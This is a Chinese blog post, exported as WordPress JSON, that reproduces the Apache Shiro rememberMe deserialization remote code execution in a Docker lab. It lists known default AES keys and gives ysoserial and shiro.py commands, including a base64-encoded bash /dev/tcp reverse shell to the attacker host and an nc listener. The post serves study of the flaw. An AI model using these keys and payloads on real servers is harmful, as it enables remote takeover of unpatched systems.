{"id":3885,"date":"2021-04-05T22:09:24","date_gmt":"2021-04-05T14:09:24","guid":{"rendered":"https:\/\/www.liangliang.org.cn\/?p=3885"},"modified":"2021-04-05T22:09:24","modified_gmt":"2021-04-05T14:09:24","slug":"apache-shiro%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e5%a4%8d%e7%8e%b0","status":"publish","type":"post","link":"https:\/\/www.liangliang.org.cn\/?p=3885","title":{"rendered":"Apache Shiro\u53cd\u5e8f\u5217\u5316\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u590d\u73b0"},"content":{"rendered":"<h2>Apache Shiro\u53cd\u5e8f\u5217\u5316\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u590d\u73b0<\/h2>\n<blockquote>\n<p>\u6700\u8fd1\u4e5f\u662f\u770bshiro\u6f0f\u6d1e\u6bd4\u8f83\u591a\uff0c\u6240\u4ee5\u81ea\u5df1\u4e5f\u5728\u672c\u5730\u590d\u73b0\u4e86\u4e00\u4e0b\uff0c\u62ff\u51fa\u6765\u4e0e\u5927\u5bb6\u4e00\u8d77\u5206\u4eab<\/p>\n<\/blockquote>\n<h1>0x00 \u5173\u4e8eApache Shiro<\/h1>\n<p>Apache shiro\u662f\u4e00\u4e2aJava\u5b89\u5168\u6846\u67b6\uff0c\u63d0\u4f9b\u4e86\u8ba4\u8bc1\u3001\u6388\u6743\u3001\u52a0\u5bc6\u548c\u4f1a\u8bdd\u7ba1\u7406\u529f\u80fd\uff0c\u4e3a\u89e3\u51b3\u5e94?\u5b89\u5168\u63d0\u4f9b\u4e86\u76f8\u5e94\u7684API:<\/p>\n<p>\u8ba4\u8bc1-?\u7528\u6237\u8eab\u4efd\u8bc6\u522b\uff0c\u5e38\u88ab\u79f0\u4e3a\u7528\u6237\u201d\u767b\u5f55\u201d<br \/>\n\u6388\u6743-\u8bbf\u95ee\u63a7\u5236<br \/>\n\u5bc6\u7801\u52a0\u5bc6-\u4fdd\u62a4\u6216\u9690\u85cf\u6570\u636e\u9632\u6b62\u88ab\u5077\u7aa5<br \/>\n\u4f1a\u8bdd\u7ba1\u7406-\u7528\u6237\u76f8\u5173\u7684\u65f6\u95f4\u654f\u611f\u7684\u72b6\u6001<\/p>\n<h1>0x01 \u73af\u5883\u642d\u5efa<\/h1>\n<p>\u6f0f\u6d1e\u7248\u672c&lt;=1.2.4\uff0c\u4f7f\u7528docker\u642d\u5efa<\/p>\n<pre><code>docker pull medicean\/vulapps:s_shiro_1\ndocker run -d -p 80:8080 medicean\/vulapps:s_shiro_1<\/code><\/pre>\n<p>\u8bbf\u95ee80\u7aef\u53e3\u5373\u53ef\u8bbf\u95ee\u6f0f\u6d1e\u73af\u5883<\/p>\n<h1>0x02 \u6240\u9700\u5de5\u5177<\/h1>\n<p>\uff081\uff09\u653b\u51fb\u673akali\uff08192.168.10.101\uff09<\/p>\n<p>\uff082\uff09centos7\u9776\u673a\uff08192.168.10.105\uff09<\/p>\n<p>\uff083\uff09docker\u73af\u5883<\/p>\n<p>\uff084\uff09shiro.py\u5229\u7528\u811a\u672c<\/p>\n<p>\uff085\uff09ysoserial.jar\uff08java\u53cd\u5e8f\u5217\u5316\u5229\u7528\u5de5\u5177\uff09<\/p>\n<h1>0x03 \u6f0f\u6d1e\u539f\u7406<\/h1>\n<p>\u4ece\u5b98\u65b9\u7684 issue \u4e0a\u6765\u770b\uff0c\u5b58\u5728\u51e0\u4e2a\u91cd\u8981\u7684\u70b9:<\/p>\n<ul>\n<li>rememberMe cookie<\/li>\n<li>CookieRememberMeManager.java<\/li>\n<li>Base64<\/li>\n<li>AES<\/li>\n<li>\u52a0\u5bc6\u5bc6\u94a5\u786c\u7f16\u7801<\/li>\n<li>Java serialization<\/li>\n<\/ul>\n<p>Shiro550:<br \/>\nshiro\u22641.2.4\u7248\u672c\uff0c\u9ed8\u8ba4\u4f7f?\u4e86CookieRememberMeManager,\u7531\u4e8eAES\u4f7f\u7528\u7684key\u6cc4\u9732,\u5bfc\u81f4\u53cd\u5e8f\u5217\u5316\u7684cookie\u53ef\u63a7\uff0c\u4ece\u800c\u5f15\u53d1\u53cd\u5e8f\u5217\u5316\u653b\u51fb\u3002\uff08\u7406\u8bba\u4e0a\u53ea\u8981AES\u52a0\u5bc6\u94a5\u6cc4\u9732\uff0c\u90fd\u4f1a\u5bfc\u81f4\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\uff09<\/p>\n<p>\u6574\u4e2a\u6f0f\u6d1e\u7b80\u5355\u7684cookie\u5904\u7406\u6d41\u7a0b\u662f\uff1a\u5f97\u5230rememberMe\u7684cookie\u503c--&gt;Base64\u89e3\u7801--&gt;AES\u89e3\u5bc6--&gt;\u53cd\u5e8f\u5217\u5316\u3002\u9664\u4e86\u627e\u5230\u76f8\u5173\u7684\u53c2\u6570\uff08\u9ed8\u8ba4rememberMe\uff09\u4ee5\u5916\uff0c\u8fd8\u9700\u8981\u7ed3\u5408\u5982\u4e0b\u56e0\u7d20\uff1a<\/p>\n<p>shiro\u57281.2.4\u7248\u672c\u4e4b\u524d\uff0c AES\u7684\u6a21\u5f0f\u4e3aCBC\uff0c IV\u662f\u968f\u673a\u751f\u6210\u7684\uff0c\u5e76\u4e14IV\u5e76\u6ca1\u6709\u771f\u6b63\u4f7f\u7528\u8d77\u6765\u3002\u6240\u4ee5\u6574\u4e2aAES\u52a0\u89e3\u5bc6\u8fc7\u7a0b\u7684key\u5c31\u5f88\u91cd\u8981\u4e86\uff0c\u6b63\u662f\u56e0\u4e3aAES\u4f7f\u7528\u9ed8\u8ba4\u7684KEY\/\u5e38\u89c1\u7684KEY\/KEY\u6cc4\u9732\u5bfc\u81f4\u53cd\u5e8f\u5217\u5316\u7684cookie\u53ef\u63a7\uff0c\u4ece?\u5f15\u53d1\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u3002<\/p>\n<p>\u5e38\u89c1\u7684key\u5982\u4e0b\uff1a<\/p>\n<pre><code>kPH+bIxk5D2deZiIxcaaaA==(1.2.4\u9ed8\u8ba4key)\n2AvVhdsgUs0FSA3SDFAdag==\n4AvVhmFLUs0KTA3Kprsdag==\n3AvVhmFLUs0KTA3Kprsdag==\nwGiHplamyXlVB11UXWol8g==\nZ3VucwAAAAAAAAAAAAAAAA==\n6ZmI6I2j5Y+R5aSn5ZOlAA==\nZUdsaGJuSmxibVI2ZHc9PQ==\n1QWLxg+NYmxraMoxAXu\/Iw==<\/code><\/pre>\n<p>\u6709\u65f6\u5019\u53ef\u80fd\u5b58\u5728\u672a\u77e5key\u7684\u60c5\u51b5\uff0c\u90a3\u4e48\u53ef\u4ee5\u91c7\u53d6 Shiro-721 \u7684\u62a5\u9519\u903b\u8f91\u6765\u8fdb?\u904d\u5386key\uff08\u524d\u63d0\u662f\u6b63\u5e38\u767b\u5f55\u5f97\u5230\u4e00\u4e2arememberMe\u7684\u503c\uff09\uff1a<\/p>\n<p>Shiro721:<\/p>\n<p>rememberMe cookie\u901a\u8fc7AES-128-CBC\u6a21\u5f0f\u52a0\u5bc6\uff0c\u6613\u53d7\u5230Padding Oracle\u653b\u51fb\u3002\u53ef\u4ee5\u901a\u8fc7\u7ed3\u5408\u6709\u6548\u7684rememberMe cookie\u4f5c\u4e3aPadding Oracle\u653b\u51fb\u7684\u524d\u7f00\uff0c\u7136\u540e\u7cbe?\u5236\u4f5crememberMe\u6765\u8fdb?\u53cd\u5e8f\u5217\u5316\u653b\u51fb\u3002<\/p>\n<p>Tip\uff1a\u53ef\u4ee5\u7ed3\u5408JRMP gadget\u4f7f?\u7528\uff0c\u53ef\u4ee5?\u5927\u5e45\u51cf\u5c11\u751f\u6210\u5e8f\u5217\u5316\u6570\u636e\u7684\u957f\u5ea6\uff0c\u540c\u65f6\u57281.2.4\u7248\u672c\u540e\uff0cshiro\u5df2\u7ecf\u66f4\u6362 AES-CBC AES-CBC \u4e3a AES-GCM AES-GCM \uff0c\u65e0\u6cd5\u518d\u901a\u8fc7Padding Oracle\u904d\u5386key\u3002<\/p>\n<h1>0x04 \u6f0f\u6d1e\u6f14\u793a<\/h1>\n<p>\u6211\u4eec\u642d\u5efa\u597d\u73af\u5883\u5c31\u662f\u8fd9\u6837\u4e00\u4e2a\u754c\u9762<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/image1.bubuko.com\/info\/202007\/20200704134113917472.png\" alt=\"\u6280\u672f\u5206\u4eab\u56fe\u7247\" \/><\/p>\n<p>\u7136\u540e\u8f93\u5165\u7528\u6237\u540d\uff0c\u5bc6\u7801\uff0c\u52fe\u9009Remember Me\u9009\u9879<\/p>\n<p>\u7528burp\u6293\u5305\uff0c\u7136\u540e\u91cd\u653e\u4e00\u4e0b\uff0cgo<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/image1.bubuko.com\/info\/202007\/20200704134114586443.png\" alt=\"\u6280\u672f\u5206\u4eab\u56fe\u7247\" \/><\/p>\n<p>\u53d1\u73b0\u8fd4\u56de\u5305\u4e2d\u6709rememberMe=deleteMe\u7684\u5b57\u6837\uff08\u8fd9\u662fshiro\u6f0f\u6d1e\u7684\u6807\u5fd7\uff09<\/p>\n<p>\u8bf4\u660e\u5b58\u5728shiro\u6f0f\u6d1e<\/p>\n<p>\u6211\u4eec\u5148\u5f97\u77e5\u9053\u4ed6\u6240\u7528\u7684key\u662f\u5565\uff0c\u6709\u4e00\u4e2a\u5de5\u5177\u5f88\u597d\u7528\uff0c\u7528\u5b83\u53ef\u4ee5\u5728dnslog\u4e0a\u6210\u529f\u6253\u51fakey<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/image1.bubuko.com\/info\/202007\/20200704134114750511.png\" alt=\"\u6280\u672f\u5206\u4eab\u56fe\u7247\" \/><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/image1.bubuko.com\/info\/202007\/20200704134115015170.png\" alt=\"\u6280\u672f\u5206\u4eab\u56fe\u7247\" \/><\/p>\n<p>ps:shiro.py\u811a\u672c\u4e2d\u9ed8\u8ba4\u7528\u7684\u662f&quot;KPH......&quot;\u8fd9\u4e2akey\uff0c\u82e5\u6253\u51fa\u7684key\u4e0d\u540c\uff0c\u53ef\u4ee5\u4fee\u6539<\/p>\n<p>\u7136\u540e\u6211\u4eec\u6765\u6784\u9020payload\u6765\u8fdb\u884c\u53cd\u5f39shell\u7684\u64cd\u4f5c<\/p>\n<p>\u5199\u597d\u53cd\u5f39shell\u7684\u547d\u4ee4<\/p>\n<pre><code>bash -i &gt;&amp; \/dev\/tcp\/192.168.10.101\/666 0&gt;&amp;1<\/code><\/pre>\n<p>\u7136\u540e\u8f6c\u6362\u6210\u52a0\u5bc6\u540e\u7684\u6307\u4ee4\uff08\u53bb\u8fd9\u4e2a\u7f51\u7ad9http:\/\/www.jackson-t.ca\/runtime-exec-payloads.html\uff09<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/image1.bubuko.com\/info\/202007\/20200704134115099158.png\" alt=\"\u6280\u672f\u5206\u4eab\u56fe\u7247\" \/><\/p>\n<p>\u5c06\u6307\u4ee4\u5408\u6210\u4e3a\u4e00\u4e2ajava\u7684\u76d1\u542c\u6307\u4ee4<\/p>\n<pre><code>java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections2 \u2018bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEwMS82NjYgMD4mMQ==}|{base64,-d}|{bash,-i}\u2018<\/code><\/pre>\n<p>\u8fd0\u884c\u5b83\u5f00\u542fjava\u4e00\u4e2a\u76d1\u542c\u7aef\u53e3<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/image1.bubuko.com\/info\/202007\/20200704134115371629.png\" alt=\"\u6280\u672f\u5206\u4eab\u56fe\u7247\" \/><\/p>\n<p>\u5229\u7528\u811a\u672c\u5411java\u53d1\u9001\u8bf7\u6c42\u751f\u6210poc<\/p>\n<pre><code>python shiro.py 192.168.10.101:6666<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/image1.bubuko.com\/info\/202007\/20200704134115713439.png\" alt=\"\u6280\u672f\u5206\u4eab\u56fe\u7247\" \/><\/p>\n<p>\u7136\u540e\u5148\u5728kali\u4e0a\u5f00\u542f\u4e00\u4e2a\u76d1\u542c<\/p>\n<pre><code>nc -lvp 666<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/image1.bubuko.com\/info\/202007\/20200704134116022045.png\" alt=\"\u6280\u672f\u5206\u4eab\u56fe\u7247\" \/><\/p>\n<p>\u7136\u540e\u5c06\u751f\u6210\u7684rememberMe=*<strong>**<\/strong>\u653e\u5230\u53d1\u9001\u5305\u7684Cookie\u4e2d<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/image1.bubuko.com\/info\/202007\/20200704134116419521.png\" alt=\"\u6280\u672f\u5206\u4eab\u56fe\u7247\" \/><\/p>\n<p>\u8fd9\u65f6\u6210\u529f\u53cd\u5f39\u4e86shell<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/image1.bubuko.com\/info\/202007\/20200704134116739846.png\" alt=\"\u6280\u672f\u5206\u4eab\u56fe\u7247\" \/><\/p>\n<p>ps: shiro.py \u548cysoserial.jar\u8981\u653e\u5728\u540c\u4e00\u8def\u5f84\u4e0b<\/p>\n<p>\u53c2\u8003\uff1a<a href=\"http:\/\/vlambda.com\/wz_wAgsAcgbFI.html\">http:\/\/vlambda.com\/wz_wAgsAcgbFI.html<\/a><\/p>\n<p>\u200b     <a href=\"https:\/\/paper.seebug.org\/shiro-rememberme-1-2-4\/\">https:\/\/paper.seebug.org\/shiro-rememberme-1-2-4\/<\/a><\/p>\n<p>\u3000\u3000\u3000<a href=\"https:\/\/blog.csdn.net\/weixin_38166689\/article\/details\/101154245\">https:\/\/blog.csdn.net\/weixin_38166689\/article\/details\/101154245<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Apache Shiro\u53cd\u5e8f\u5217\u5316\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u590d\u73b0 \u6700\u8fd1\u4e5f\u662f\u770bshiro\u6f0f\u6d1e\u6bd4\u8f83\u591a\uff0c\u6240\u4ee5\u81ea\u5df1\u4e5f\u5728\u672c\u5730\u590d\u73b0\u4e86\u4e00\u4e0b\uff0c\u62ff\u51fa\u6765\u4e0e\u5927\u5bb6\u4e00\u8d77\u5206\u4eab 0x00 \u5173\u4e8eApache Shiro Apache shiro\u662f\u4e00&#46;&#46;&#46;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10],"tags":[],"class_list":["post-3885","post","type-post","status-publish","format-standard","hentry","category-hacker"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=\/wp\/v2\/posts\/3885","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3885"}],"version-history":[{"count":1,"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=\/wp\/v2\/posts\/3885\/revisions"}],"predecessor-version":[{"id":3886,"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=\/wp\/v2\/posts\/3885\/revisions\/3886"}],"wp:attachment":[{"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3885"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3885"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3885"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}